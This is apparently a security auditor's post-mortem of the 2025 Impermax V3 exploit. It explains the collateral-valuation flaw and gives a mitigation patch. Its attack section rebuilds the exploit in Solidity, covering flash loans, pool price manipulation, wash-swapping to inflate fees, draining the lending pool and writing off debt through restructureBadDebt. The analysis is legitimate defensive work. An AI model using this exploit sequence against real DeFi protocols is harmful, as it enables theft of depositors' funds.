Mono Audit logo
Articles > Impermax V3 hack analysis

May 29, 2025, by bakhankov

Impermax V3 hack analysis

  1. Impermax
  2. Vulnerability
  3. Attack
  4. Mitigation
  5. Comments

 

On April 26 and 27, 2025, Impermax V3 was the target of a coordinated exploit that spanned the Base and Arbitrum blockchains. The attacker successfully extracted approximately 170 ETH, valued at around $300,000 at the time. Notably, the attack was orchestrated using funds initially supplied via the deBridge protocol, which also appears to have played a role in obfuscating part of the stolen assets.

Hack acknowledge

Post Mortem

So lets look closer at protocol itself.

Impermax

Impermax introduces an important innovation to decentralized finance by allowing users to borrow directly against their DEX LP tokens. When someone provides assets to an AMM pool, they receive LP tokens that represent their share of the pool. Impermax makes it possible to use these LP tokens, which usually consist of two different assets, as collateral for borrowing.

This approach gives users a lot of flexibility. They can choose to borrow one of the two tokens in the LP pair or sometimes both. For example, if someone holds an LP token from an ETH and USDC pair, they can borrow either more ETH or more USDC, depending on their needs. This access to borrowed liquidity creates new strategic options. It turns LP tokens from passive holdings into active tools that improve capital efficiency. Users can unlock the value tied up in their LP tokens without removing their assets from the AMM pool. This also opens the door to leveraged yield farming, where the borrowed tokens are used to increase the LP position. As a result, users can potentially earn more from trading fees and other rewards.

This borrowing system works because Impermax sources liquidity from single-token lending pools. Other users in the ecosystem provide individual tokens, such as ETH or USDC, to these pools in order to earn interest. When someone borrows against their LP tokens, they are drawing one specific asset from one of these single-token pools.

Website

Docs

V3

Impermax V3 stands out for its focus on enabling borrowing against Uniswap V3 Liquidity Provider positions. This is an important development because Uniswap V3 introduced a major change in how liquidity is provided compared to Uniswap V2. Rather than spreading liquidity evenly across all prices, Uniswap V3 allows liquidity providers to concentrate their capital within specific price ranges. As a result, each Uniswap V3 LP position can be unique. These positions are represented as NFTs, instead of the fungible tokens used in Uniswap V2.

V3 description

Let's take a closer look at how a user can borrow from Impermax.

An example of borrowing

The entire code example can be found here.

First of all, we need to define some variables:

tokenizedUniV3Pos - The contract that holds and manages LP positions used as collateral for borrowings.

imxBUSDC - The contract that manages borrowings on a single token. In our case, on USDC.

imxC - The contract that manages collateral. It stores addresses of tokenizedUniV3Pos and imxBUSDC, so we can instantiate them later.

ITokenizedUniswapV3Position tokenizedUniV3Pos;
IBorrowable imxBUSDC;
ICollateral imxC = ICollateral(0xc1D49fa32d150B31C4a5bf1Cbf23Cf7Ac99eaF7d);

fee - represents the Uniswap pool that we will use in our demo. The list of available pools can be found here: https://app.uniswap.org/positions/create/v3

UniswapV3 pools


uint24 fee = 200;

usdcLPAmount and wethLPAmount - amounts that we will use to provide liquidity:

uint256 usdcLPAmount = 180e6; // 180 USDC
uint256 wethLPAmount = 0.1e18; // 0.1 WETH

 

Now we can start by getting the exact uniswapV3 pool we will use:


IUniswapV3Pool pool = IUniswapV3Pool(tokenizedUniV3Pos.getPool(fee));

Then, in order to provide liquidity, we need to determine the range of ticks in which we will pour. For example, +-2.5% of the current price:

int24 poolTickSpacing = pool.tickSpacing();
(uint160 sqrtPriceX96, int24 tick,,,,,) = pool.slot0();

int24 tickLower = int24(int256(tick) * 975 / 1000);
// align lower tick to tickSpacing
tickLower = tickLower - (tickLower % poolTickSpacing);

int24 tickUpper = int24(int256(tick) * 1025 / 1000);
tickUpper = tickUpper - (tickUpper % poolTickSpacing);
// in case tickUpper < tickLower, swap them
if (tickUpper < tickLower) (tickUpper, tickLower) = (tickLower, tickUpper);

Now we can calculate the amount of liquidity we are going to provide:

uint128 poolMintAmount = LiquidityAmounts.getLiquidityForAmounts(
    sqrtPriceX96,
    TickMath.getSqrtRatioAtTick(tickLower),
    TickMath.getSqrtRatioAtTick(tickUpper),
    wethLPAmount,
    usdcLPAmount
);

At this point we are ready to add liquidity:

pool.mint(
    address(tokenizedUniV3Pos),
    tickLower,
    tickUpper,
    poolMintAmount,
    abi.encode(address(WETH), address(USDC))
);

Now we need to tokenize our pool position and issue collateral position:

uint256 tokenId = tokenizedUniV3Pos.mint(address(this), fee, tickLower, tickUpper);

tokenizedUniV3Pos.transferFrom(address(this), address(imxC), tokenId);

imxC.mint(address(this), tokenId);

Finally, we can borrow against our UniswapV3 position:

uint256 toBorrow = (totalUsdcProvided * 75) / 100;

imxBUSDC.borrow(tokenId, address(this), toBorrow, "");

Done.

 

In this section we looked at an example of code for borrowing in Impermax V3. In order for us to be able to borrow against our LP tokens, the protocol must contain functionality for evaluating our tokens.

 

So here we approaching weak part of protocol.

Vulnerability

In this case, it is difficult to point out a specific line in the protocol code that could be identified as a direct bug that led to the hack. There is a fundamental error in the integration with a third-party protocol (uniswapV3). Some functionality of the integrated protocol are not taken into account correctly. In particular, the case when the tokenized position is outside the current tick is not taken into account. And also the fact that the price in the pool can be artificially changed, as a result of which it will differ from the price reported by the oracle.

So, let's look at some important facts that characterize this attack:

  1. The position is created away from the real tick.
  2. The attacker has sufficient funds to move the price within his position.
  3. The evaluation uses the price from the oracle, while in the pool the price is very different.
  4. Restructuring a bad loan does not trigger a liquidation process.

attacker position

 

Now we can look at some parts of the protocol code where this kind of position will cause problems:

extensions/TokenizedUniswapV3Position.sol#L109-L116

Here, the getPositionData at TokenizedUniswapV3Position method is designed to calculate the amount of USDC and WETH held inside the position. But since the priceSqrtX96 provided by the oracle is different from the current price and is outside the range of the position, the method will return only one side of the position:

priceSqrtX96 = oraclePriceSqrtX96();
uint160 currentPrice = safe160(priceSqrtX96);
uint160 lowestPrice = safe160(priceSqrtX96.mul(1e18).div(safetyMarginSqrt));
uint160 highestPrice = safe160(priceSqrtX96.mul(safetyMarginSqrt).div(1e18));

(realXYs.lowestPrice.realX, realXYs.lowestPrice.realY) = LiquidityAmounts.getAmountsForLiquidity(lowestPrice, pa, pb, position.liquidity);
(realXYs.currentPrice.realX, realXYs.currentPrice.realY) = LiquidityAmounts.getAmountsForLiquidity(currentPrice, pa, pb, position.liquidity);
(realXYs.highestPrice.realX, realXYs.highestPrice.realY) = LiquidityAmounts.getAmountsForLiquidity(highestPrice, pa, pb, position.liquidity);

The reason why this happened can be found in the library code.

extensions/libraries/LiquidityAmounts.sol#L129

If priceSqrtX96 is outside the range of a position, it means that this position currently contains liquidity in only one token:

function getAmountsForLiquidity(
    ...
) internal pure returns (uint256 amount0, uint256 amount1) {
    ...
    if (sqrtRatioX96 <= sqrtRatioAX96) {
        amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
    } else if ...
}

Later, the position token amounts, including the accrued fees, are passed to CollateralMath to calculate the position value. The same code is used to calculate the loan value. The code multiplies the amount of one token by the price and adds the product of the amount of the second token by 2**192/price. Which begs the question: in what units do we get the result?

libraries/CollateralMath.sol#L64

function getValue(PositionObject memory positionObject, Price price, uint amountX, uint amountY) internal pure returns (uint) {
    uint priceSqrtX96 = positionObject.priceSqrtX96;
    if (price == Price.LOWEST) priceSqrtX96 = priceSqrtX96.mul(1e18).div(positionObject.safetyMarginSqrt);
    if (price == Price.HIGHEST) priceSqrtX96 = priceSqrtX96.mul(positionObject.safetyMarginSqrt).div(1e18);
    uint relativePriceX = getRelativePriceX(priceSqrtX96);
    uint relativePriceY = getRelativePriceY(priceSqrtX96); // Q192.div(priceSqrtX96)
    return amountX.mul(relativePriceX).div(Q64).add(amountY.mul(relativePriceY).div(Q64));
}

Finally, the accumulated fees received in the previous stages will not be fully reinvested. This is because the highly biased current price requires a skewed token ratio to add liquidity, and part of the fees accumulated in WETH will remain uninvested:

extensions/TokenizedUniswapV3Position.sol#L78-L87

function _getfeeCollectedAndGrowth(Position memory position, address pool) internal view returns (uint256 fg0, uint256 fg1, uint256 feeCollected0, uint256 feeCollected1) {
    bytes32 hash = UniswapV3Position.getHash(address(this), position.tickLower, position.tickUpper);
    (,fg0, fg1,,) = IUniswapV3Pool(pool).positions(hash);

    uint256 delta0 = fg0 - position.feeGrowthInside0LastX128;
    uint256 delta1 = fg1 - position.feeGrowthInside1LastX128;

    feeCollected0 = delta0.mul(position.liquidity).div(Q128).add(position.unclaimedFees0);
    feeCollected1 = delta1.mul(position.liquidity).div(Q128).add(position.unclaimedFees1);
}

Another important point: restructuring a bad loan does not trigger a liquidation process, but only reduces the loan amount entry:

ImpermaxV3Collateral.sol#L100

function restructureBadDebt(uint tokenId) external nonReentrant {
    CollateralMath.PositionObject memory positionObject = _getPositionObject(tokenId);
    uint postLiquidationCollateralRatio = positionObject.getPostLiquidationCollateralRatio();
    require(postLiquidationCollateralRatio < 1e18, "ImpermaxV3Collateral: NOT_UNDERWATER");
    IBorrowable(borrowable0).restructureDebt(tokenId, postLiquidationCollateralRatio);
    IBorrowable(borrowable1).restructureDebt(tokenId, postLiquidationCollateralRatio);

    blockOfLastRestructureOrLiquidation[tokenId] = block.number;

    emit RestructureBadDebt(tokenId, postLiquidationCollateralRatio);
}

 

And now we can show how this weakness was exploited.

Attack

The attack analysis was performed based on transaction 0x14ea5...3ed77, the full list of transactions can be found at the end of this section.

 

Disclaimer:

This section will present many algorithms for calculating some values, these algorithms were determined by reverse engineering and may or may not exactly match what was used in the attacker's smart contract.

 

The entire code example can be found here.

The attacker had previously conducted off-chain reconnaissance and prepared some input.

In addition to the Impermax contract addresses, the amounts available for flash loans were explored. And two uniswapV3 pools were identified: one with very low liquidity and one with maximum liquidity.

 

The first step was to take flash loans in WETH and USDC tokens on Morpho.

Next, he identified a low liquidity pool and took its current tick:

IUniswapV3Pool pool = IUniswapV3Pool(tokenizedUniV3Pos.getPool(lowLiquidityPoolFee));
(, int24 baseTick,,,,,) = pool.slot0();

He made a relatively large swap to see how the price would move:

(int256 priceMovedWithAmount0,) =
    pool.swap(address(this), false, firstSwapUsdcAmount, sqrtPriceLimitX96_0, abi.encode(weth, usdc));
(uint160 movedSqrtPriceX96, int24 movedTick,,,,,) = pool.slot0();

The lower tick was defined as 2.5% higher than the base tick:

int256 tickMultiplierBase = 1000;
int256 tickLowerMultiplier;
if (baseTick < 0) {
    tickLowerMultiplier = tickMultiplierBase - 25;
} else {
    tickLowerMultiplier = tickMultiplierBase + 25;
}
int24 tickLower = int24(int256(baseTick) * tickLowerMultiplier / tickMultiplierBase);
tickLower = tickLower - (tickLower % poolTickSpacing);

The upper tick was defined as the tick at the changed price:

int24 tickUpper = movedTick + poolTickSpacing - (movedTick % poolTickSpacing);

if (tickLower > tickUpper) (tickLower, tickUpper) = (tickUpper, tickLower);

Thus, the liquidity to be provided was determined based on 20 million USDC:

uint128 poolMintAmount = LiquidityAmounts.getLiquidityForAmounts(
    movedSqrtPriceX96,
    TickMath.getSqrtRatioAtTick(tickLower),
    TickMath.getSqrtRatioAtTick(tickUpper),
    wethBorrowed,
    usdcLPAmount
);

Liquidity provided, position tokenized, collateral position minted:

pool.mint(tUniV3Pos, tickLower, tickUpper, poolMintAmount, abi.encode(weth, usdc));

uint256 newTokenId = tokenizedUniV3Pos.mint(address(this), lowLiquidityPoolFee, tickLower, tickUpper);

tokenizedUniV3Pos.transferFrom(address(this), imxCaddr, newTokenId);

imxC.mint(address(this), newTokenId);

Wash-swapping for gaining fees (It is worth noting that the fees was paid from the attacker's balance, the size of the pool's liquidity did not change):

int256 washAmount = int256(usdcLPAmount * 97 / 100); // 19,400,000 USDC
int256 backWashAmount = addFee(washAmount, lowLiquidityPoolFee);
for (uint16 i = 0; i < 100; i++) {
    pool.swap(address(this), true, -washAmount, sqrtPriceLimitX96_1, abi.encode(weth, usdc));
    pool.swap(address(this), false, backWashAmount, sqrtPriceLimitX96_0, abi.encode(weth, usdc));
}

At the point where the pool was inflated with fees, it was possible to determine the maximum amount for borrowing against the attacker's position based on the calculations used by the protocol itself:

uint256 liquidationPenalty = imxC.liquidationPenalty();
uint256 safetyMarginSqrt = imxC.safetyMarginSqrt();
(uint256 sqrtPriceX96, INFTLP.RealXYs memory realXYs) =
    INFTLP(tUniV3Pos).getPositionData(newTokenId, safetyMarginSqrt);

uint256 debtX = IBorrowable(imxBweth).currentBorrowBalance(newTokenId);
// here we use usdcLPAmount as placeholder, we will calculate the real amount later
uint256 debtY = usdcLPAmount;

// here we reversing the protocol math to find how much USDC we can borrow against the collateral
CollateralMath.PositionObject memory positionObject =
    CollateralMath.newPosition(realXYs, sqrtPriceX96, debtX, debtY, liquidationPenalty, safetyMarginSqrt);
{
    CollateralMath.Price price = CollateralMath.Price.LOWEST;
    uint256 collateralValue = CollateralMath.getCollateralValue(positionObject, price);
    uint256 debtYCalculated = CollateralMath.getDebtY(positionObject, price, debtX, collateralValue);
    if (debtYCalculated < debtY) {
        debtY = debtYCalculated;
    }
}
{
    CollateralMath.Price price = CollateralMath.Price.HIGHEST;
    uint256 collateralValue = CollateralMath.getCollateralValue(positionObject, price);
    uint256 debtYCalculated = CollateralMath.getDebtY(positionObject, price, debtX, collateralValue);
    if (debtYCalculated < debtY) {
        debtY = debtYCalculated;
    }
}
debtY = debtY * 1e18 / liquidationPenalty;

Here the attacker himself acted as a lender for the attacked pool:

uint256 imxBUSDC_USDCBalance = USDC.balanceOf(address(imxBUSDC));

USDC.transfer(address(imxBUSDC), debtY - imxBUSDC_USDCBalance);
imxBUSDC.mint(address(this));

And took a loan in the amount of all available funds in the pool (provided both by himself and by other users):

imxBUSDC_USDCBalance = USDC.balanceOf(address(imxBUSDC));
imxBUSDC.borrow(newTokenId, address(this), imxBUSDC_USDCBalance, "");

Reinvest call extracts accumulated fees and adds them to the pool liquidity. This causes the calculated position value to drop underwater:


tokenizedUniV3Pos.reinvest(newTokenId, address(this));

The undercollateralized loan was then restructured. However, since the liquidation was not triggered but the loan records were only rewritten, the attacker repaid 75% of the loan "for free".


imxC.restructureBadDebt(newTokenId);

Then the remaining 25% of the loan was repaid:

uint256 currentBorrowBalance = imxBUSDC.currentBorrowBalance(newTokenId);
USDC.transfer(address(imxBUSDC), currentBorrowBalance);
imxBUSDC.borrow(newTokenId, address(this), 0, "");

The collateral position has been redeemed:


imxC.redeem(address(this), newTokenId, 1e18);

The tokenized position has been redeemed directly to underlying tokens (WETH and USDC):


tokenizedUniV3Pos.redeem(address(this), newTokenId);

The low liquidity pool price has been reset to its original value:

int256 priceMoveBackAmount = addFee(-priceMovedWithAmount0, lowLiquidityPoolFee);
pool.swap(address(this), true, priceMoveBackAmount, sqrtPriceLimitX96_1, abi.encode(weth, usdc));

The lender position redeemed (only the 25% that were paid by honest loan repayment):

uint256 toTransfer = USDC.balanceOf(address(imxBUSDC)) * 1e18 / imxBUSDC.exchangeRate();
imxBUSDC.transfer(address(imxBUSDC), toTransfer);
imxBUSDC.redeem(address(this));

At this point, the attacker withdrew the uniswap pool liquidity, pool fees, and some of the liquidity provided for borrowing. And also kept the loan amount.

A high liquidity pool was then used to exchange the stolen funds for WETH in order to be able to repay the flash loan.

IUniswapV3Pool pool500 = IUniswapV3Pool(tokenizedUniV3Pos.getPool(highLiquidityPoolFee));
uint256 thisWETHBalance = WETH.balanceOf(address(this));
if (wethBorrowed > thisWETHBalance) {
    pool500.swap(
        address(this),
        false,
        int256(wethBorrowed - thisWETHBalance) * -1,
        sqrtPriceLimitX96_0,
        abi.encode(weth, usdc)
    );
}

When the flash loan was paid off, he exchanged the loot from USDC to WETH:

uint256 thisUSDCBalance = IERC20(usdc).balanceOf(address(this));
IUniswapV3Pool pool500 = IUniswapV3Pool(tokenizedUniV3Pos.getPool(highLiquidityPoolFee));
pool500.swap(address(this), false, int256(thisUSDCBalance), sqrtPriceLimitX96_0, abi.encode(weth, usdc));

WETH to ether:

uint256 thisWETHBalance = WETH.balanceOf(address(this));
WETH.withdraw(thisWETHBalance);

And transfered to another address:


payable(lootReceiver).call{value: thisWETHBalance}("");

 

The attacker had a very deep understanding of the integrated protocol and the features of its functioning. This attack is distinguished by a very sophisticated approach to determining the method of extracting profit.

 

Hack related transactions

Base blockchain:

TransactionETH extracted
0xde90...45983  34.59645795
0xeac7...a3436  15.57019255
0xcbcf...08304  12.07254967
0x1bfa...e1caf  10.29978595
0x6644...60657  22.89657999
0x2377...c91e9  0.98906282
0x6cad...6d728  4.14101626
0xa533...88ef4  0.8873651
0xf00c...a18ff  3.41702417
0x69e5...eb35e  7.29924837
0x14ea...3ed77  1.53861513
0x0b9d...f5316  0.98900363
0x2885...f2e02  0.98900328
0xc516...e6b53  0.88697381
0x58e0...0a85b  0.88696941
0xf744...4f44c  0.1001
0xad4f...26a56  1.29642032
0x47c4...9a276  0.0026442
0xe542...b7bcf  1.47983218
0xd47a...d8257  0.75381959

Arbitrum blockchain:

TransactionETH extracted
0xaafa...758e3  40.02116831
0x9491...70385  5.96246942
0x11d7...52fb4  2.94425477
0x0c39...b3903  0.00241737

 

Mitigation

Mitigation must come from addressing the root cause of the vulnerability, which is a unfamiliarity with the protocol being integrated. The focus should be on a robust position valuation algorithm.

1. The algorithm can be based on the position liquidity. The undistributed fees can be reliably converted into future liquidity.

2. It is necessary to add a check for the distance of the current pool price from the oracle price.

ImpermaxV3Collateral.sol#L96

function canBorrow(uint tokenId, address borrowable, uint accountBorrows) public returns (bool) {
    ...

    CollateralMath.PositionObject memory positionObject = _getPositionObjectAmounts(tokenId, debtX, debtY);

+   (uint24 fee,,,,,,,) = INFTLP(underlying).positions(tokenId);
+   IUniswapV3Pool pool = IUniswapV3Pool(INFTLP(underlying).getPool(fee));
+   (uint160 sqrtPriceX96,,,,,,) = pool.slot0();
+   //                           ⬇pool price                           ⬇oracle price
+   uint256 pricesRatio = uint256(sqrtPriceX96) * 1e18 / positionObject.priceSqrtX96;
+   if (pricesRatio < 1e18) {
+       pricesRatio = 1e18 / pricesRatio;
+   }
+   require(pricesRatio <= safetyMarginSqrt, "ImpermaxV3Collateral: POOL_PRICE_TOO_FAR_FROM_ORACLE_PRICE");

    return !positionObject.isLiquidatable();
}

3. Consider triggering liquidation when restructuring a bad loan.

 

In any case, the new algorithm should be thoroughly tested with modeling of various edge cases.

Comments

Have thoughts, questions, or feedback about this analysis?
Join the conversation on X and share your perspective:

Leave a comment on the post

We'd love to hear from you!

Continuous Security Review

Enhance smart contract security with continuous security review. Integrate expert code review at every stage of development to identify vulnerabilities early and reduce costly fixes.
English